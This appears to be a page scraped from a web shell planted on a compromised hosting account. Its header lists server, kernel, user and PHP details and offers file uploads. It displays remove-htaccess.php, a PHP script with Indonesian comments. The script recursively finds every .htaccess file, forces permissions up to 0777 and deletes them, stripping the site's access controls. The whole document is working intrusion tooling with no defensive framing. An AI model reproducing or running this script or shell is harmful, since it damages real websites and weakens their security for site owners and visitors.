HEX
Server: Apache
System: Linux sxb1plzcpnl504268.prod.sxb1.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: uaktdz7o5l3q (5679037)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/uaktdz7o5l3q/public_html/stonehouse/remove-htaccess.php
<?php

function forceDeleteHtaccess($directory) {
    $failedFiles = [];
    $deletedCount = 0;
    
    // Iterasi rekursif semua file dan folder
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($iterator as $file) {
        // Cek apakah nama file adalah .htaccess
        if ($file->isFile() && $file->getFilename() === '.htaccess') {
            $filePath = $file->getRealPath();
            
            try {
                // Paksa ubah permission ke writable (644) jadi bisa dihapus
                @chmod($filePath, 0644);
                
                // Coba hapus file
                if (@unlink($filePath)) {
                    $deletedCount++;
                    echo "✓ Berhasil dihapus: $filePath\n";
                } else {
                    // Jika gagal, coba permission 777 sebagai upaya terakhir
                    @chmod($filePath, 0777);
                    if (@unlink($filePath)) {
                        $deletedCount++;
                        echo "✓ Berhasil dihapus (paksa 777): $filePath\n";
                    } else {
                        $failedFiles[] = $filePath;
                        echo "✗ GAGAL dihapus: $filePath\n";
                    }
                }
            } catch (Exception $e) {
                $failedFiles[] = $filePath;
                echo "✗ ERROR: $filePath - " . $e->getMessage() . "\n";
            }
        }
    }
    
    // Tampilkan hasil
    echo "\n=== RINGKASAN ===\n";
    echo "Total file .htaccess terhapus: " . $deletedCount . "\n";
    echo "Total file .htaccess gagal: " . count($failedFiles) . "\n";
    
    if (count($failedFiles) > 0) {
        echo "\n=== FILE YANG GAGAL DIHAPUS ===\n";
        foreach ($failedFiles as $failedFile) {
            echo "- $failedFile\n";
        }
    }
    
    return $failedFiles;
}

// Mulai dari direktori tempat script dijalankan
$startDirectory = getcwd();
echo "Memulai penghapusan .htaccess dari direktori: $startDirectory\n\n";

forceDeleteHtaccess($startDirectory);

?>